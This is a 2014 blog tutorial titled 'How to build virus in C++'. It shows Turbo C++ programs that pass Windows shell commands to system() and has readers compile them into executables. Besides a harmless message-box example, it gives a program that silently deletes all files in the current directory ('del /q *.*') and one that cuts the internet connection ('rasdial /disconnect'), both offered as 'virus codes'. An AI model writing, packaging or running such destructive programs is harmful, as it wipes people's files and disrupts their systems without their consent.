IconIcon

Friday 11 July 2014

How to build virus in C++


Welcome to techntips.net

C++ is very powerful and popular programming language. It has features of both- High level language and low level language.
Today we are going to learn easy ways to build computer virus in C++.



computer virus

   But before we start, you must check this article- How to run virus on computer without any harm.

In this tutorial we will use- Turbo C++ compiler to compile our C++ codes. You must download this compiler.
We will use windows command prompt to build computer viruses in C++.

To run, command prompt command in C++, you can use system() function available in stdlib.h header file.
Example1:--
#include<iostream.h>
#include<stdlib.h>
void main()
{
system(“msg  * hello”);
}

==> Above code will show a message box with message- hello. 
         msgbox   is  command prompt command.

Remember that, whenever you will write a virus code, don’t run that code in compiler.
 
Press- F9    or  click on- compile menu     then click   on – Make  to   create exe  file of your virus code.


Lets see some virus codes:--

Program1:--  C++  Virus code to delete all files in current directory.

#include<iostream.h>
#include<stdlib.h>
void main()
{
system(“del   /q  *.*”);
}
       --->When you will run above code, all files in current directory / folder will be deleted.

Program2:-- C++  virus code to disconnect internet.

#include<iostream.h>
#include<stdlib.h>
void main()
{
system(“rasdial   /disconnect”);
}
      ==> Above code will disconnect internet connection from your computer.
    Note:-- This code is tested on USB modem internet connection.

This is easiest way to build virus in C++.
We will write other tricks for virus programming in C++ and other languages. 

Share us your reviews about this article and subscribe us for more updates.

0 comments:

Post a Comment

Related Posts Plugin for WordPress, Blogger...